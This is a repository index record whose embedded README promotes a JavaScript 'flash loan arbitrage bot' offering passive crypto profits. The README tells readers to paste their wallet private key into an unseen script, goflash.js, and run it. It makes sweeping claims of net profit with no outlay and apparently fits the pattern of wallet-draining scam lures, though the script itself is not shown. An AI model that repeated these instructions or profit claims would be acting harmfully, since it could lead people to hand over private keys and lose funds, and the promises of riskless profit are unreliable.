{"id":31005980,"url":"https://github.com/halvoxenkskokqt/sourcecode-flash","last_synced_at":"2025-09-13T02:06:30.098Z","repository":{"id":311954147,"uuid":"1045757733","full_name":"HalvoxenkskoKqT/Sourcecode-Flash","owner":"HalvoxenkskoKqT","description":"Run flashloan arbitrage with JS code, smart contracts for passive profits, safe on PC.","archived":false,"fork":false,"pushed_at":"2025-09-11T01:20:25.000Z","size":897,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-09-11T03:03:23.298Z","etag":null,"topics":["blockchain","crypto","defi","eth","ethereum","flash-loan","flashloan","go-ethereum","guide","profit","script","sourcecode","tools","trading","tutorial"],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/HalvoxenkskoKqT.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-08-27T17:06:56.000Z","updated_at":"2025-09-11T01:20:28.000Z","dependencies_parsed_at":"2025-08-28T02:05:18.943Z","dependency_job_id":"ba230c7b-51b1-4acb-93d0-0f256b29dc99","html_url":"https://github.com/HalvoxenkskoKqT/Sourcecode-Flash","commit_stats":null,"previous_names":["halvoxenkskokqt/sourcecode-flash"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/HalvoxenkskoKqT/Sourcecode-Flash","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HalvoxenkskoKqT%2FSourcecode-Flash","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HalvoxenkskoKqT%2FSourcecode-Flash/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HalvoxenkskoKqT%2FSourcecode-Flash/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HalvoxenkskoKqT%2FSourcecode-Flash/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/HalvoxenkskoKqT","download_url":"https://codeload.github.com/HalvoxenkskoKqT/Sourcecode-Flash/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/HalvoxenkskoKqT%2FSourcecode-Flash/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274907841,"owners_count":25371822,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-13T02:00:10.085Z","response_time":70,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blockchain","crypto","defi","eth","ethereum","flash-loan","flashloan","go-ethereum","guide","profit","script","sourcecode","tools","trading","tutorial"],"created_at":"2025-09-13T02:03:02.757Z","updated_at":"2025-09-13T02:06:30.086Z","avatar_url":"https://github.com/HalvoxenkskoKqT.png","language":"JavaScript","readme":"\n  \n\n# FlashLoanArbitrage\n\n  \n\nHi! This is my project **FlashLoanArbitrage** — a bot for arbitrage on DeFi with flash loans. Using a smart contract and a local script `goflash.js`, which runs on your computer. Sharing it so you can try it out!\n\n  \n\n![DeFi Arbitrage](https://i.ibb.co/7xtfYSxL/image-20.jpg)\n\n  \n\n## How It Works 💡\n\n  \n\n1.  **Smart Contract**:\n\n- Takes a flash loan in USDC.\n\n- Converts your ETH to USDC before the deal.\n\n- Buys ETH at a low price on one platform.\n\n- Sells ETH at a high price on another.\n\n- Repays the loan, pays fees and gas.\n\n- Converts the profit from USDC back to ETH.\n\n- The remainder is your profit!\n\n  \n\n2.  **Script `goflash.js`**:\n\n- Checks ETH/USDC prices on five DeFi platforms.\n\n- Waits for a price difference of **0.9%** or more to avoid losses.\n\n- If the difference is there, it triggers arbitrage through the contract.\n\n  \n\n## Which DeFi Protocols I Use 💰\n\n  \n\nI added four protocols for flash loans:\n\n  \n\n-  **Aave (0.05%)**: Tons of liquidity, up to **10,000,000 USDC**.\n\n-  **dYdX (0.05%)**: Fast, up to **500,000 USDC**.\n\n-  **Uniswap V3 (0.01%)**: Low fees, up to **5,000,000 USDC**.\n\n-  **Balancer (0.02%)**: Flexible pools, up to **1,000,000 USDC**.\n\n  \n\nThe bigger the loan, the higher the fee. So don’t take a huge loan if your wallet balance is low!\n\n  \n\n## Which Platforms I Scan 📊\n\n  \n\n\u003cimg  src=\"https://i.ibb.co/4RtXjn2G/chainlink-link-logo.png\"  alt=\"Chainlink\"  width=\"50\"\u003e\n\n\u003cimg  src=\"https://i.ibb.co/gZf4KQT0/uniswap-uni-logo.png\"  alt=\"Uniswap\"  width=\"50\"\u003e\n\n\u003cimg  src=\"https://i.ibb.co/SWfzvJq/sushiswap-sushi-logo.png\"  alt=\"SushiSwap\"  width=\"50\"\u003e\n\n\u003cimg  src=\"https://i.ibb.co/r2H1V45g/curve-dao-token-crv-logo.png\"  alt=\"Curve\"  width=\"50\"\u003e\n\n\u003cimg  src=\"https://i.ibb.co/21vcD80K/balancer-bal-logo.png\"  alt=\"Balancer\"  width=\"50\"\u003e\n\n  \n\nThe script checks ETH/USDC prices on these platforms:\n\n  \n\n1.  **Chainlink**: Oracle for the base ETH price.\n\n2.  **Uniswap V2**: Classic DEX, always liquid.\n\n3.  **SushiSwap**: Uniswap fork, also solid.\n\n4.  **Curve Finance**: Stable pools, less slippage.\n\n5.  **Balancer**: Flexible pools for arbitrage.\n\n  \n\nIf the price difference is ≥0.9%, the script triggers a deal. Less than that, it waits to avoid losses.\n\n  \n\n![DeFi Platforms](https://i.ibb.co/kr0J4mD/21.png)\n\n  \n\n## How to Run 🚀\n\n  \n\nHere’s how to run my bot:\n\n  \n\n1.  **Download the Files**:\n\n- Grab [goflash.js](goflash.js), [package.json](package.json) from the repo.\n\n  \n\n2.  **Put Them in a Folder**:\n\n- Any folder on your computer.\n\n  \n\n3.  **Install Libraries**:\n\n- Open a terminal (cmd, PowerShell, or VS Code).\n\n- Navigate to the folder with:\n\n```bash\n\ncd your_path_to_folder\n\n```\n\n- Install dependencies:\n\n```bash\n\nnpm install\n\n```\n\n  \n\n4.  **Add Your Private Key**:\n\n- Open `goflash.js` in an editor.\n\n- Replace:\n\n```javascript\n\nconst  PRIVATE_KEY = \"YOUR_PRIVATE_KEY_HERE\";\n\n```\n\nwith your key ( **Don’t share it with anyone!** )\n\n  \n\n5.  **Run the Script**:\n\n- Type in the terminal:\n\n```bash\n\nnode goflash.js\n\n```\n\n  \n\n6.  **Work with the Menu**:\n\n- Select **DeFi** — I recommend **dYdX** or **Uniswap V3**.\n\n- In **Loan Amount in ETH**, set the loan amount (from 10 to the protocol’s max).\n\n-  **Careful**: If your wallet balance is \u003c0.1 ETH, don’t take a loan over **10 ETH** — gas won’t cover it!\n\n- Hit **Start Arbitrage** to start.\n\n  \n\n7.  **What the Script Does**:\n\n- Scans ETH/USDC prices on platforms.\n\n- Waits for a difference ≥0.9% and triggers arbitrage through the contract.\n\n- Converts your ETH to USDC before the deal and profit back to ETH after.\n\n  \n\n## Important Notes ⚠️\n\n  \n\n-  **Wallet Balance**: For loans over 10 ETH, you need a balance ≥0.1 ETH, or the script won’t let you pick a big loan.\n\n-  **Fees**: You pay trading fees (0.1%), slippage (0.05%), and gas.\n\n  \n\n## How It Works Example 📈\n\n  \n\n1. You pick **dYdX** and a loan of **10 ETH** (if balance ≥0.1 ETH).\n\n2. The script converts your ETH to USDC before the deal (wallet balance is used only for gas, ETH **is not transferred** to the FlashLoanArbitrage contract).\n\n3. It checks prices, for example:\n\n- Uniswap V2: 4200 USDC/ETH\n\n- SushiSwap: 4250 USDC/ETH\n\n4. If the difference is ≥0.9%, the contract:\n\n- Takes a flash loan in USDC.\n\n- Buys ETH on Uniswap V2.\n\n- Sells ETH on SushiSwap.\n\n- Repays the loan, pays fees and gas.\n\n- Converts the profit from USDC back to ETH.\n\n- The final profit (`Net profit`) in ETH goes to you, accounting for all costs (flash loan fee, trading fees 0.1%, slippage 0.05%, gas).\n\n- No need to top up any balance anywhere!!!\n\n  \n\n![Arbitrage Flow](https://s14.gifyu.com/images/bNaR2.png)\n\n  \n\n## Good Luck! 🍀\n\n  \n\nHope my bot brings you some profit! If something doesn’t work or you have ideas, drop a note in issues.\n\n  \n\n---\n\n  \n\n*This is my project, made for myself, sharing as is. Check the contract and script before mainnet to avoid bugs!*","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhalvoxenkskokqt%2Fsourcecode-flash","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhalvoxenkskokqt%2Fsourcecode-flash","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhalvoxenkskokqt%2Fsourcecode-flash/lists"}